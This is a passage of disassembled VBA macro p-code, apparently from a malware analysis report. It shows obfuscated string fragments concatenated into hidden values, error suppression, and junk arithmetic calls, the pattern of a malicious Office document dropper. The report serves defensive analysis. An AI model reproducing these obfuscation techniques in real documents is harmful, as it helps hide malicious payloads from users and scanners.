' 	LitStr 0x0004 "^B^u"
' 	Add 
' 	LitStr 0x0003 "^AG"
' 	Add 
' 	LitStr 0x0007 "c^A^Lg^"
' 	Add 
' 	LitStr 0x0004 "B/^A"
' 	Add 
' 	LitStr 0x0006 "^:^M^A"
' 	Add 
' 	LitStr 0x0005 "L^wBN"
' 	Add 
' 	St IPsWhIf 
' Line #45:
' 	Ld zavIYU 
' 	ArgsLd TimeValue 0x0001 
' 	ArgsCall IsArray 0x0001 
' Line #46:
' 	Ld DzjBps 
' 	LitDI4 0xF17F 0x0000 
' 	Add 
' 	Coerce (Var) 
' 	St wwzGn 
' Line #47:
' 	LitDI4 0xCE3B 0x0000 
' 	Ld vkNwS 
' 	Ld mNmkPY 
' 	Div 
' 	Ld jajQAb 
' 	Mul 
' 	Add 
' 	St wwzGn 
' Line #48:
' 	LitStr 0x0006 "^A:^QA"
' 	LitStr 0x0007 "_^w^BiA"
' 	Add 
' 	LitStr 0x0001 "G"
' 	Add 
' 	LitStr 0x0002 "Q^"
' 	Add 
' 	LitStr 0x0003 "A_^"
' 	Add 
' 	LitStr 0x0004 "wB#^"
' 	Add 
' 	LitStr 0x0003 "AGU"
' 	Add 
' 	LitStr 0x0003 "^A^"
' 	Add 
' 	LitStr 0x0001 "_"
' 	Add 
' 	LitStr 0x0004 "^AB^"
' 	Add 
' 	LitStr 0x0001 "o"
' 	Add 
' 	LitStr 0x0006 "A^:^_A"
' 	Add 
' 	LitStr 0x0002 "^d"
' 	Add 
' 	St SapXNLPN 
' Line #49:
' 	Ld FCRjqN 
' 	Ld zLfdnj 
' 	Add 
' 	Ld njnBwMfIiri 
' 	Add 
' 	Ld GRRMEh 
' 	Add 
' 	Ld Ewdwo 
' 	Add 
' 	Ld fTzoHYDGEAi 
' 	Add 
' 	Ld NizYLWU 
' 	Add 
' 	Ld IijDTQqSrsw 
' 	Add 
' 	Ld zsNFAjPz 
' 	Add 
' 	Ld uzQdUinPC 
' 	Add 
' 	Ld AnoKQnKUiS 
' 	Add 
' 	Ld IPsWhIf 
' 	Add 
' 	Ld SapXNLPN 
' 	Add 
' 	St TSijcE 
' Line #50:
' 	LitDI4 0x299F 0x0001 
' 	Ld wHMCv 
' 	Sub 
' 	St wwzGn 
' Line #51:
' 	LitDI2 0x4AE5 
' 	Ld BjoldL 
' 	Div 
' 	ArgsCall IsArray 0x0001 
' Line #52:
' 	EndFunc 
' Line #53:
' 	FuncDefn (Function WDNRLWzLoP())
' Line #54:
' 	OnError (Resume Next) 
' Line #55:
' 	Ld jucAGZ 
' 	LitDI2 0x39A4 
' 	Sub 
' 	Ld odjLFO 
' 	Ld qpiMOL 
' 	Mul 
' 	Sub 
' 	ArgsCall IsArray 0x0001 
' Line #56:
' 	LitStr 0x0004 "^A^B"
' 	LitStr 0x0006 "^wA^Do"
' 	Add 
' 	LitStr 0x0003 "^AL"
' 	Add 
' 	LitStr 0x0001 "^"
' 	Add 
' 	LitStr 0x0004 "wAvA"
' 	Add 
' 	LitStr 0x0005 ":^o^A"
' 	Add 
' 	LitStr 0x0007 "^bw^At^"
' 	Add 
' 	LitStr 0x0005 "A:^IA"
' 	Add 
' 	LitStr 0x0003 "^#_"
' 	Add 
' 	St KLPutUYzqi 
' Line #57:
' 	Ld thjlph 
' 	Ld vKhAoi 
' 	Div 
' 	St wwzGn 
' Line #58:
' 	Ld EXsXn 
' 	ArgsLd Val 0x0001 
' 	ArgsCall IsArray 0x0001 
' Line #59:
' 	LitStr 0x0007 "B^Q^A^G"
' 	LitStr 0x0001 "^"
' 	Add 
' 	LitStr 0x0002 "8^"
' 	Add 
' 	LitStr 0x0006 "A^b^_B"
' 	Add 
' 	LitStr 0x0002 "-^"
' 	Add 
' 	LitStr 0x0004 "A:^M"
' 	Add 
' 	LitStr 0x0007 "^A^b^A^"
' 	Add 
' 	St bQzJTEkCP 
' Line #60:
' 	Ld hbVMR 
' 	Coerce (Bool) 
' 	ArgsCall IsArray 0x0001 
' Line #61:
' 	LitStr 0x0007 "AuA^:A^"
' 	LitStr 0x0006 "Ab^A^A"
' 	Add 
' 	LitStr 0x0002 "vA"
' 	Add 
' 	LitStr 0x0005 "GMAbw"
' 	Add 
' 	LitStr 0x0003 "B^t"
' 	Add 
' 	LitStr 0x0005 "A:A^A"
' 	Add 
' 	LitStr 0x0006 "b^w^Bu"
' 	Add 
' 	LitStr 0x0002 "^A"
' 	Add 
' 	LitStr 0x0003 "GUA"
' 	Add 
' 	LitStr 0x0007 "bg^By^A"
' 	Add 
' 	LitStr 0x0004 "^:^M"
' 	Add 
' 	LitStr 0x0002 "^A"
' 	Add 
' 	LitStr 0x0006 "L^w^B^"
' 	Add 
' 	St zhwriPvzj 
' Line #62:
' 	Ld DjChL 
' 	ArgsLd Hex 0x0001 
' 	St wwzGn 
' Line #63:
' 	Ld QdmdYd 
' 	ArgsLd Str 0x0001 
' 	ArgsCall VarType 0x0001 
' Line #64:
' 	Ld dFXvih 
' 	ArgsLd Sqr 0x0001 
' 	ArgsCall IsArray 0x0001 
' Line #65:
' 	LitStr 0x0002 "j^"
' 	LitStr 0x0006 "A^G8^A"
' 	Add 
' 	LitStr 0x0004 "b^_B"
' 	Add 
' 	LitStr 0x0004 "^XA^"
' 	Add 
' 	LitStr 0x0007 ":A^AcgB"
' 	Add 
' 	LitStr 0x0002 "vA"
' 	Add 
' 	LitStr 0x0007 "^G#Ab^w"
' 	Add 
' 	LitStr 0x0001 "^"
' 	Add 
' 	LitStr 0x0003 "B^,"
' 	Add 
' 	LitStr 0x0003 "^A^"
' 	Add 
' 	St QWtTZMfCqnY 
' Line #66:
' 	LitDI2 0x01D9 
' 	ArgsLd CDec 0x0001 
' 	ArgsCall IsArray 0x0001 
' Line #67:
' 	Ld cVKwR 
' 	Ld isEFH 
' 	Mul 
' 	LitDI4 0x0F42 0x0001 
' 	Mul 
' 	Ld qNdwC 
' 	Mul 
' 	ArgsCall VarType 0x0001 
' Line #68:
' 	LitStr 0x0006 "GyAc^w"
' 	LitStr 0x0006 "Av^AGQ"
' 	Add 
' 	LitStr 0x0007 "^Ab^g^B"
' 	Add 
' 	LitStr 0x0003 "^jA"
' 	Add 
' 	LitStr 0x0001 "^"
' 	Add 
' 	LitStr 0x0007 "GwAd_B^"
' 	Add 
' 	LitStr 0x0001 "Q"
' 	Add 
' 	LitStr 0x0004 "A^GU"
' 	Add 
' 	LitStr 0x0002 "Ac"
' 	Add 
' 	LitStr 0x0006 "^w^AvA"
' 	Add 
' 	LitStr 0x0004 "EM^A"
' 	Add 
' 	LitStr 0x0001 "^"
' 	Add 
' 	LitStr 0x0005 "bgB^j"
' 	Add 
' 	St iYkpv 
' Line #69:
' 	Ld KLPutUYzqi 
' 	Ld bQzJTEkCP 
' 	Add 
' 	Ld zhwriPvzj 
' 	Add 
' 	Ld QWtTZMfCqnY 
' 	Add 
' 	Ld iYkpv 
' 	Add 
' 	St WDNRLWzLoP 
' Line #70:
' 	LitDI2 0x0E98 
' 	FnInt 
' 	St wwzGn 
' Line #71:
' 	LitDI4 0x91C9 0x0000 
' 	Ld GwMWZ 
' 	Add 
' 	ArgsLd Val 0x0001 
' 	St wwzGn 
' Line #72:
' 	Ld dDkNJi 
' 	Ld vQPwXS 
' 	Sub 
' 	LitDI2 0x5E36 
' 	Add 
' 	Ld njFuu 
' 	Add 
' 	ArgsCall IsArray 0x0001 
' Line #73:
…

Open this report in the interactive analyzer, or submit your own file for analysis.